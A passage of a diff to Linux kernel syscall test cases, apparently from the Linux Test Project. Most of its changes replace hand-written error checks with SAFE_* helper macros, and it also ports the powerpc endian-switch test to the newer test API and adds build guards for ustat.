-		tst_brkm(TBROK, cleanup, "socket setup failed: %s",
-			 strerror(errno));
-	}
+	SAFE_IOCTL(cleanup, s, SIOCGIFCONF, &ifc);
 	ifr = *(struct ifreq *)ifc.ifc_buf;
 }
 
diff --git a/testcases/kernel/syscalls/stat/stat02.c b/testcases/kernel/syscalls/stat/stat02.c
index 1b7d60f..aeaa7ab 100644
--- a/testcases/kernel/syscalls/stat/stat02.c
+++ b/testcases/kernel/syscalls/stat/stat02.c
@@ -77,6 +77,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
 #define TESTFILE	"testfile"
@@ -207,10 +208,7 @@
 	}
 
 	/* Modify mode permissions on the testfile */
-	if (chmod(TESTFILE, NEW_MODE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "chmodding %s failed",
-			 TESTFILE);
-	}
+	SAFE_CHMOD(cleanup, TESTFILE, NEW_MODE);
 
 	/* Get the uid/gid of the process */
 	user_id = getuid();
diff --git a/testcases/kernel/syscalls/stat/stat03.c b/testcases/kernel/syscalls/stat/stat03.c
index 52db14b..ef3d937 100644
--- a/testcases/kernel/syscalls/stat/stat03.c
+++ b/testcases/kernel/syscalls/stat/stat03.c
@@ -87,6 +87,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define MODE_RWX	S_IRWXU | S_IRWXG | S_IRWXO
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
@@ -278,9 +279,7 @@
 	int fd;			/* file handle for testfile */
 
 	/* Creat a test directory */
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
 
 	/* Creat a test file under above test directory */
 	if ((fd = open(TEST_FILE1, O_RDWR | O_CREAT, 0666)) == -1) {
@@ -289,16 +288,10 @@
 			 TEST_FILE1, errno, strerror(errno));
 	}
 	/* Close the test file */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "close(%s) Failed, errno=%d : %s",
-			 TEST_FILE1, errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 
 	/* Modify mode permissions on test directory */
-	if (chmod(DIR_TEMP, FILE_MODE) < 0) {
-		tst_brkm(TBROK, cleanup, "chmod(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_CHMOD(cleanup, DIR_TEMP, FILE_MODE);
 	return 0;
 }
 
@@ -322,11 +315,7 @@
 			 errno, strerror(errno));
 	}
 	/* Close the test file created above */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "close(t_file) Failed, errno=%d : %s",
-			 errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 	return 0;
 }
 
diff --git a/testcases/kernel/syscalls/statfs/statfs03.c b/testcases/kernel/syscalls/statfs/statfs03.c
index ab97208..32aaf83 100644
--- a/testcases/kernel/syscalls/statfs/statfs03.c
+++ b/testcases/kernel/syscalls/statfs/statfs03.c
@@ -54,6 +54,7 @@
 #include <errno.h>
 #include <stdio.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <pwd.h>
 
 char *TCID = "statfs03";
@@ -119,9 +120,7 @@
 
 	/* make a temporary directory and cd to it */
 	tst_tmpdir();
-	if (chmod(tst_get_tmpdir(), S_IRWXU) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "chmod(%s, 700) failed",
-			 tst_get_tmpdir());
+	SAFE_CHMOD(cleanup, tst_get_tmpdir(), S_IRWXU);
 
 	/* create a test file */
 	sprintf(fname, "%s.%d", fname, getpid());
diff --git a/testcases/kernel/syscalls/switch/endian_switch01.c b/testcases/kernel/syscalls/switch/endian_switch01.c
index 86aed89..777280a 100644
--- a/testcases/kernel/syscalls/switch/endian_switch01.c
+++ b/testcases/kernel/syscalls/switch/endian_switch01.c
@@ -1,142 +1,127 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2008                 */
-/* Copyright 2008 Paul Mackerras, IBM Corp.                                   */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        endian_switch01.c                                                    */
-/*                                                                            */
-/* Description: Test little-endian mode switch system call. Requires a 64-bit */
-/*              processor that supports little-endian mode,such as POWER6.    */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   endian_switch01                                                      */
-/*                                                                            */
-/* Author:      Paul Mackerras <paulus@samba.org>                             */
-/*                                                                            */
-/* History:     Created - Sep 02 2008 - Paul Mackerras <paulus@samba.org>     */
-/*              Ported to LTP                                                 */
-/*                      - Sep 02 2008                                         */
-/*                      - Subrata Modak <subrata@linux.vnet.ibm.com>          */
-/*                                                                            */
-/******************************************************************************/
+/*
+ * Copyright (c) International Business Machines Corp., 2008
+ * Copyright (c) Paul Mackerras, IBM Corp., 2008
+ * Copyright (c) 2018 Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
 
+/*
+ * Test little-endian mode switch system call. Requires a 64-bit
+ * processor that supports little-endian mode,such as POWER6.
+ */
+
+#include <errno.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <elf.h>
-#include <signal.h>
-#include <setjmp.h>
-#include "test.h"
-#include <errno.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/syscall.h>
-#include <fcntl.h>
-#include <sys/utsname.h>
 #include <unistd.h>
-#include "lapi/syscalls.h"
+#include <elf.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "tst_test.h"
 
 #if defined (__powerpc64__) || (__powerpc__)
-static void setup();
-#endif
+# ifndef PPC_FEATURE_TRUE_LE
+# define PPC_FEATURE_TRUE_LE              0x00000002
+# endif
 
-static void cleanup();
+# define TST_NO_DEFAULT_MAIN
 
-char *TCID = "endian_switch01";
-int TST_TOTAL = 1;
-
-#if defined (__powerpc64__) || (__powerpc__)
-void setup(void)
+/*
+ * Make minimal call to 0x1ebe. If we get ENOSYS then syscall is not
+ * available, likely because of:
+ *   commit 727f13616c45 ("powerpc: Disable the fast-endian switch syscall by default")
+ * If we get any other outcome, including crashes with various signals,
+ * then we assume syscall is available and carry on with the test.
+ */
+void check_le_switch_supported(void)
 {
+	int status;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-extern int main4(int ac, char **av, char **envp, unsigned long *auxv)
-__asm("main");
-#endif
-
-void cleanup(void)
-{
-
-}
-
-#if defined (__powerpc64__) || (__powerpc__)
-#ifndef PPC_FEATURE_TRUE_LE
-#define PPC_FEATURE_TRUE_LE              0x00000002
-#endif
-
-#include <asm/cputable.h>
-
-volatile int got_sigill;
-sigjmp_buf jb;
-
-void sigill(int sig)
-{
-	got_sigill = 1;
-	siglongjmp(jb, 1);
-}
-
-void do_le_switch(void)
-{
-	register int r0 asm("r0");
-
-	r0 = 0x1ebe;
-	asm volatile ("sc; .long 0x02000044":"=&r" (r0):"0"(r0)
-		      :"cr0", "r9", "r10", "r11", "r12");
-}
-
-int main4(int ac, char **av, char **envp, unsigned long *auxv)
-{
-
-	if ((tst_kvercmp(2, 6, 26)) < 0) {
-		tst_brkm(TCONF,
-			 NULL,
-			 "This test can only run on kernels that are 2.6.26 and higher");
+	if (SAFE_FORK() == 0) {
+		syscall(0x1ebe);
+		exit(errno);
 	}
-	setup();
-	for (; *auxv != AT_NULL && *auxv != AT_HWCAP; auxv += 2) ;
-	if (!(auxv[0] == AT_HWCAP && (auxv[1] & PPC_FEATURE_TRUE_LE))) {
-		tst_brkm(TCONF, cleanup,
-			 "Processor does not support little-endian mode");
+
+	SAFE_WAIT(&status);
+	if (WIFSIGNALED(status)) {
+		int sig = WTERMSIG(status);
+
+		tst_res(TINFO, "check exited with sig %d", sig);
+	} else if (WIFEXITED(status)) {
+		int rc = WEXITSTATUS(status);
+
+		tst_res(TINFO, "check exited with %d", rc);
+		if (rc == ENOSYS)
+			tst_brk(TCONF, "fast endian switch (0x1ebe) N/A");
 	}
-	signal(SIGILL, sigill);
-	if (sigsetjmp(jb, 1) == 0)
-		do_le_switch();
-	if (got_sigill) {
-		tst_brkm(TFAIL, NULL, "Got SIGILL - test failed");
-	}
-	tst_resm(TPASS, "endian_switch() syscall tests passed");
-	tst_exit();
 }
 
-#else
-
-int main(void)
+void test_le_switch(void)
 {
+	int status;
 
-	tst_brkm(TCONF, cleanup,
-		 "This system does not support running of switch() syscall");
+	if (SAFE_FORK() == 0) {
+		register int r0 asm("r0") = 0x1ebe;
+
+		asm volatile ("sc; .long 0x02000044"
+				: "=&r" (r0)
+				: "0"(r0)
+				: "cr0", "r9", "r10", "r11", "r12");
+		exit(0);
+	}
+
+	SAFE_WAIT(&status);
+	if (WIFSIGNALED(status)) {
+		int sig = WTERMSIG(status);
+
+		tst_res(TFAIL, "test exited with sig %d", sig);
+	} else if (WIFEXITED(status)) {
+		int rc = WEXITSTATUS(status);
+
+		if (rc != 0)
+			tst_res(TFAIL, "test exited with %d", rc);
+		else
+			tst_res(TPASS, "endian_switch() syscall tests passed");
+	}
 }
 
+static void endian_test(void)
+{
+	check_le_switch_supported();
+	test_le_switch();
+}
+
+static struct tst_test test = {
+	.test_all = endian_test,
+	.min_kver = "2.6.26",
+	.forks_child = 1,
+};
+
+int main4(int argc, char **argv, LTP_ATTRIBUTE_UNUSED char **envp,
+	unsigned long *auxv)
+{
+	for (; *auxv != AT_NULL && *auxv != AT_HWCAP; auxv += 2)
+		;
+
+	if (!(auxv[0] == AT_HWCAP && (auxv[1] & PPC_FEATURE_TRUE_LE)))
+		tst_brk(TCONF, "Processor does not support little-endian mode");
+
+	tst_run_tcases(argc, argv, &test);
+	return 0;
+}
+
+#else /* defined (__powerpc64__) || (__powerpc__) */
+TST_TEST_TCONF("This system does not support running of switch() syscall");
 #endif
diff --git a/testcases/kernel/syscalls/symlink/symlink02.c b/testcases/kernel/syscalls/symlink/symlink02.c
index fdf8e60..c18db2b 100644
--- a/testcases/kernel/syscalls/symlink/symlink02.c
+++ b/testcases/kernel/syscalls/symlink/symlink02.c
@@ -115,6 +115,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -157,11 +158,7 @@
 				 fname, symlnk, TEST_ERRNO,
 				 strerror(TEST_ERRNO));
 		} else {
-			if (unlink(symlnk) == -1) {
-				tst_brkm(TBROK, cleanup,
-					 "unlink(%s) Failed, errno=%d : %s",
-					 symlnk, errno, strerror(errno));
-			}
+			SAFE_UNLINK(cleanup, symlnk);
 		}
 	}
 
diff --git a/testcases/kernel/syscalls/symlink/symlink03.c b/testcases/kernel/syscalls/symlink/symlink03.c
index 5fa985d..89f23c9 100644
--- a/testcases/kernel/syscalls/symlink/symlink03.c
+++ b/testcases/kernel/syscalls/symlink/symlink03.c
@@ -87,6 +87,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define MODE_RWX        S_IRWXU | S_IRWXG | S_IRWXO
 #define FILE_MODE       S_IRUSR | S_IRGRP | S_IROTH
@@ -281,25 +282,17 @@
 {
 	int fd;			/* file handle for testfile */
 
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
 
 	if ((fd = open(TEST_FILE1, O_RDWR | O_CREAT, 0666)) == -1) {
 		tst_brkm(TBROK, cleanup,
 			 "open(%s, O_RDWR|O_CREAT, 0666) failed, errno=%d : %s",
 			 TEST_FILE1, errno, strerror(errno));
 	}
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "close(%s) Failed, errno=%d : %s",
-			 TEST_FILE1, errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 
 	/* Modify mode permissions on test directory */
-	if (chmod(DIR_TEMP, FILE_MODE) < 0) {
-		tst_brkm(TBROK, cleanup, "chmod(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_CHMOD(cleanup, DIR_TEMP, FILE_MODE);
 	return 0;
 }
 
@@ -316,17 +309,9 @@
 			 "open(%s, O_RDWR|O_CREAT, 0666) failed, errno=%d : %s",
 			 TEST_FILE1, errno, strerror(errno));
 	}
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "close(%s) Failed, errno=%d : %s",
-			 TEST_FILE2, errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 
-	if (symlink(TEST_FILE2, SYM_FILE2) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "symlink() Fails to create %s in setup2, error=%d",
-			 SYM_FILE2, errno);
-	}
+	SAFE_SYMLINK(cleanup, TEST_FILE2, SYM_FILE2);
 	return 0;
 }
 
@@ -365,10 +350,7 @@
 			 "open(2) on t_file failed, errno=%d : %s",
 			 errno, strerror(errno));
 	}
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup, "close(t_file) Failed, errno=%d : %s",
-			 errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 	return 0;
 }
 
@@ -383,9 +365,7 @@
 {
 
 	/* Restore mode permissions on test directory created in setup2() */
-	if (chmod(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, NULL, "chmod(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_CHMOD(NULL, DIR_TEMP, MODE_RWX);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/symlink/symlink04.c b/testcases/kernel/syscalls/symlink/symlink04.c
index ef28400..2190b3b 100644
--- a/testcases/kernel/syscalls/symlink/symlink04.c
+++ b/testcases/kernel/syscalls/symlink/symlink04.c
@@ -76,6 +76,7 @@
 #include <signal.h>
 #include <sys/stat.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define  TESTFILE	"testfile"
 #define  SYMFILE	"slink_file"
@@ -134,11 +135,7 @@
 		}
 
 		/* Unlink the symlink file for next loop */
-		if (unlink(SYMFILE) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "unlink(%s) Failed, errno=%d : %s",
-				 SYMFILE, errno, strerror(errno));
-		}
+		SAFE_UNLINK(cleanup, SYMFILE);
 		tst_count++;	/* incr TEST_LOOP counter */
 	}
 
diff --git a/testcases/kernel/syscalls/symlink/symlink05.c b/testcases/kernel/syscalls/symlink/symlink05.c
index 89f8c88..83b151f 100644
--- a/testcases/kernel/syscalls/symlink/symlink05.c
+++ b/testcases/kernel/syscalls/symlink/symlink05.c
@@ -77,6 +77,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define  TESTFILE	"testfile"
 #define  SYMFILE	"slink_file"
@@ -135,11 +136,7 @@
 		}
 
 		/* Unlink the symlink file for next loop */
-		if (unlink(SYMFILE) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "unlink(%s) Failed, errno=%d : %s",
-				 SYMFILE, errno, strerror(errno));
-		}
+		SAFE_UNLINK(cleanup, SYMFILE);
 		tst_count++;	/* incr TEST_LOOP counter */
 	}
 
diff --git a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
index 0a9fb8e..cebb919 100644
--- a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
+++ b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
@@ -218,8 +218,13 @@
 
 /* mips */
 #elif defined(__mips__) && __WORDSIZE == 32
+#if __BYTE_ORDER == __BIG_ENDIAN
 	return ltp_syscall(__NR_sync_file_range, fd, 0, (int)(offset >> 32),
 		(int)offset, (int)(nbytes >> 32), (int)nbytes, flags);
+#elif __BYTE_ORDER == __LITTLE_ENDIAN
+	return ltp_syscall(__NR_sync_file_range, fd, 0, (int)offset,
+		(int)(offset >> 32), (int)nbytes, (int)(nbytes >> 32), flags);
+#endif
 
 /* other */
 #else
diff --git a/testcases/kernel/syscalls/sysctl/sysctl03.c b/testcases/kernel/syscalls/sysctl/sysctl03.c
index 68e4f86..0c8e691 100644
--- a/testcases/kernel/syscalls/sysctl/sysctl03.c
+++ b/testcases/kernel/syscalls/sysctl/sysctl03.c
@@ -61,6 +61,7 @@
  *	Test must be run as root.
  */
 #include "test.h"
+#include "safe_macros.h"
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <stdio.h>
@@ -146,10 +147,7 @@
 		}
 
 		/* set process ID to "ltpuser1" */
-		if (seteuid(ltpuser->pw_uid) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "seteuid() failed, errno %d", errno);
-		}
+		SAFE_SETEUID(cleanup, ltpuser->pw_uid);
 
 		if ((pid = FORK_OR_VFORK()) == -1) {
 			tst_brkm(TBROK, cleanup, "fork() failed");
@@ -182,9 +180,7 @@
 		}
 
 		/* set process ID back to root */
-		if (seteuid(0) == -1) {
-			tst_brkm(TBROK, cleanup, "seteuid() failed");
-		}
+		SAFE_SETEUID(cleanup, 0);
 	}
 	cleanup();
 	tst_exit();
diff --git a/testcases/kernel/syscalls/syslog/syslog11.c b/testcases/kernel/syscalls/syslog/syslog11.c
index 8d1f2c8..b9540ef 100644
--- a/testcases/kernel/syscalls/syslog/syslog11.c
+++ b/testcases/kernel/syscalls/syslog/syslog11.c
@@ -71,6 +71,7 @@
 #include <linux/unistd.h>
 #include <sys/syscall.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define UNEXP_RET_VAL	-1
 
@@ -176,10 +177,7 @@
 void cleanup1(void)
 {
 	/* Change effective user id to root */
-	if (seteuid(0) == -1) {
-		tst_brkm(TBROK, NULL, "seteuid failed to set the effective"
-			 " uid to root");
-	}
+	SAFE_SETEUID(NULL, 0);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/syslog/syslog12.c b/testcases/kernel/syscalls/syslog/syslog12.c
index 883c3eb..ac28d43 100644
--- a/testcases/kernel/syscalls/syslog/syslog12.c
+++ b/testcases/kernel/syscalls/syslog/syslog12.c
@@ -81,6 +81,7 @@
 #include <linux/unistd.h>
 #include <sys/syscall.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define EXP_RET_VAL	-1
 
@@ -197,10 +198,7 @@
 void cleanup1(void)
 {
 	/* Change effective user id to root */
-	if (seteuid(0) == -1) {
-		tst_brkm(TBROK, NULL, "seteuid failed to set the effective"
-			 " uid to root");
-	}
+	SAFE_SETEUID(NULL, 0);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/truncate/truncate01.c b/testcases/kernel/syscalls/truncate/truncate01.c
index b6782ff..b3a535f 100644
--- a/testcases/kernel/syscalls/truncate/truncate01.c
+++ b/testcases/kernel/syscalls/truncate/truncate01.c
@@ -77,6 +77,7 @@
 #include <inttypes.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TESTFILE	"testfile"	/* file under test */
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
@@ -200,11 +201,7 @@
 	}
 
 	/* Close the testfile after writing data into it */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "close(%s) Failed, errno=%d : %s",
-			 TESTFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/unlink/unlink06.c b/testcases/kernel/syscalls/unlink/unlink06.c
index 2f96012..0e38480 100644
--- a/testcases/kernel/syscalls/unlink/unlink06.c
+++ b/testcases/kernel/syscalls/unlink/unlink06.c
@@ -117,6 +117,7 @@
 #include <signal.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void create_file();
@@ -210,9 +211,5 @@
  ******************************************************************/
 void create_file(void)
 {
-	if (mkfifo(Fname, 0777) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "mkfifo(%s, 0777) failed errno:%d %s\n", Fname,
-			 errno, strerror(errno));
-	}
+	SAFE_MKFIFO(cleanup, Fname, 0777);
 }
diff --git a/testcases/kernel/syscalls/unlink/unlink08.c b/testcases/kernel/syscalls/unlink/unlink08.c
index 8e471e2..9829a7c 100644
--- a/testcases/kernel/syscalls/unlink/unlink08.c
+++ b/testcases/kernel/syscalls/unlink/unlink08.c
@@ -117,6 +117,7 @@
 #include <unistd.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup(void);
 void cleanup(void);
@@ -278,11 +279,7 @@
 	int fd;
 
 	if (!flag) {		/* initial setup */
-		if (mkdir("unwrite_dir", 0777) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "mkdir(unwrite_dir, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_MKDIR(cleanup, "unwrite_dir", 0777);
 
 		if ((fd = creat("unwrite_dir/file", 0777)) == -1) {
 			tst_brkm(TBROK, cleanup,
@@ -291,17 +288,9 @@
 		}
 		close(fd);
 
-		if (chmod("unwrite_dir", 0555) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "chmod(unwrite_dir, 0555) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_CHMOD(cleanup, "unwrite_dir", 0555);
 	} else {		/* resetup */
-		if (chmod("unwrite_dir", 0777) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "chmod(unwrite_dir, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_CHMOD(cleanup, "unwrite_dir", 0777);
 
 		if ((fd = creat("unwrite_dir/file", 0777)) == -1) {
 			tst_brkm(TBROK, cleanup,
@@ -310,11 +299,7 @@
 		}
 		close(fd);
 
-		if (chmod("unwrite_dir", 0555) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "chmod(unwrite_dir, 0555) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_CHMOD(cleanup, "unwrite_dir", 0555);
 	}
 	return 0;
 }
@@ -327,11 +312,7 @@
 	int fd;
 
 	if (!flag) {		/* initial setup */
-		if (mkdir("unsearch_dir", 0777) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "mkdir(unsearch_dir, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_MKDIR(cleanup, "unsearch_dir", 0777);
 
 		if ((fd = creat("unsearch_dir/file", 0777)) == -1) {
 			tst_brkm(TBROK, cleanup,
@@ -340,17 +321,9 @@
 		}
 		close(fd);
 
-		if (chmod("unsearch_dir", 0666) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "chmod(unsearch_dir, 0666) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_CHMOD(cleanup, "unsearch_dir", 0666);
 	} else {		/* resetup */
-		if (chmod("unsearch_dir", 0777) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "chmod(unsearch_dir, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_CHMOD(cleanup, "unsearch_dir", 0777);
 
 		if ((fd = creat("unsearch_dir/file", 0777)) == -1) {
 			tst_brkm(TBROK, cleanup,
@@ -359,11 +332,7 @@
 		}
 		close(fd);
 
-		if (chmod("unsearch_dir", 0666) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "chmod(unsearch_dir, 0666) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
+		SAFE_CHMOD(cleanup, "unsearch_dir", 0666);
 	}
 	return 0;
 }
@@ -373,11 +342,7 @@
  ******************************************************************/
 int dir_setup(int flag)
 {
-	if (mkdir("regdir", 0777) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "mkdir(unwrite_dir, 0777) failed, errno:%d %s",
-			 errno, strerror(errno));
-	}
+	SAFE_MKDIR(cleanup, "regdir", 0777);
 	return 0;
 }
 
diff --git a/testcases/kernel/syscalls/unshare/unshare01.c b/testcases/kernel/syscalls/unshare/unshare01.c
index 84d1892..52c7745 100644
--- a/testcases/kernel/syscalls/unshare/unshare01.c
+++ b/testcases/kernel/syscalls/unshare/unshare01.c
@@ -92,6 +92,7 @@
 #include <stdio.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "config.h"
 
 char *TCID = "unshare01";
@@ -187,9 +188,7 @@
 				}
 				exit(rval);
 			} else {
-				if (wait(&rval) == -1)
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "wait failed");
+				SAFE_WAIT(cleanup, &rval);
 				if (rval != 0 && WIFEXITED(rval)) {
 					switch (WEXITSTATUS(rval)) {
 					case 1:
@@ -225,9 +224,7 @@
 				}
 				exit(rval);
 			} else {
-				if (wait(&rval) == -1)
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "wait failed");
+				SAFE_WAIT(cleanup, &rval);
 				if (rval != 0 && WIFEXITED(rval)) {
 					switch (WEXITSTATUS(rval)) {
 					case 1:
@@ -263,9 +260,7 @@
 				}
 				exit(rval);
 			} else {
-				if (wait(&rval) == -1)
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "wait failed");
+				SAFE_WAIT(cleanup, &rval);
 				if (rval != 0 && WIFEXITED(rval)) {
 					switch (WEXITSTATUS(rval)) {
 					case 1:
diff --git a/testcases/kernel/syscalls/unshare/unshare02.c b/testcases/kernel/syscalls/unshare/unshare02.c
index 9221f92..18b8bf5 100644
--- a/testcases/kernel/syscalls/unshare/unshare02.c
+++ b/testcases/kernel/syscalls/unshare/unshare02.c
@@ -56,6 +56,7 @@
 #include <stdio.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "config.h"
 
 char *TCID = "unshare02";
@@ -153,10 +154,7 @@
 				}
 				exit(rval);
 			} else {
-				if (wait(&rval) == -1) {
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "wait failed");
-				}
+				SAFE_WAIT(cleanup, &rval);
 				if (rval != 0 && WIFEXITED(rval)) {
 					switch (WEXITSTATUS(rval)) {
 					case 1:
@@ -191,10 +189,7 @@
 				}
 				exit(rval);
 			} else {
-				if (wait(&rval) == -1) {
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "wait failed");
-				}
+				SAFE_WAIT(cleanup, &rval);
 				if (rval != 0 && WIFEXITED(rval)) {
 					switch (WEXITSTATUS(rval)) {
 					case 1:
diff --git a/testcases/kernel/syscalls/ustat/ustat01.c b/testcases/kernel/syscalls/ustat/ustat01.c
index 494647b..31d7f86 100644
--- a/testcases/kernel/syscalls/ustat/ustat01.c
+++ b/testcases/kernel/syscalls/ustat/ustat01.c
@@ -21,15 +21,22 @@
 
 #include <unistd.h>
 #include <errno.h>
-#include <sys/ustat.h>
 #include <sys/types.h>
 #include <sys/stat.h>
+
+#include "config.h"
 #include "test.h"
 #include "safe_macros.h"
 
+char *TCID = "ustat01";
+
+#ifdef HAVE_USTAT
+# ifdef HAVE_SYS_USTAT_H
+#  include <sys/ustat.h>
+# endif
+
 static void setup(void);
 
-char *TCID = "ustat01";
 int TST_TOTAL = 1;
 
 static dev_t dev_num;
@@ -79,3 +86,9 @@
 
 	dev_num = buf.st_dev;
 }
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "system doesn't have ustat() support");
+}
+#endif
diff --git a/testcases/kernel/syscalls/ustat/ustat02.c b/testcases/kernel/syscalls/ustat/ustat02.c
index edada31..fe644f9 100644
--- a/testcases/kernel/syscalls/ustat/ustat02.c
+++ b/testcases/kernel/syscalls/ustat/ustat02.c
@@ -22,16 +22,22 @@
 
 #include <unistd.h>
 #include <errno.h>
-#include <sys/ustat.h>
 #include <sys/stat.h>
 #include <sys/types.h>
+
+#include "config.h"
 #include "test.h"
 #include "safe_macros.h"
 
-static void setup(void);
-
 char *TCID = "ustat02";
 
+#ifdef HAVE_USTAT
+# ifdef HAVE_SYS_USTAT_H
+#  include <sys/ustat.h>
+# endif
+
+static void setup(void);
+
 static dev_t invalid_dev = -1;
 static dev_t root_dev;
 struct ustat ubuf;
@@ -101,3 +107,9 @@
 
 	root_dev = buf.st_dev;
 }
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "system doesn't have ustat() support");
+}
+#endif
diff --git a/testcases/kernel/syscalls/utime/utime06.c b/testcases/kernel/syscalls/utime/utime06.c
index 2a97cce..6d80677 100644
--- a/testcases/kernel/syscalls/utime/utime06.c
+++ b/testcases/kernel/syscalls/utime/utime06.c
@@ -122,10 +122,7 @@
 	tst_mkfs(cleanup, dev, fs_type, NULL, NULL);
 
 	SAFE_MKDIR(cleanup, MNT_POINT, 0644);
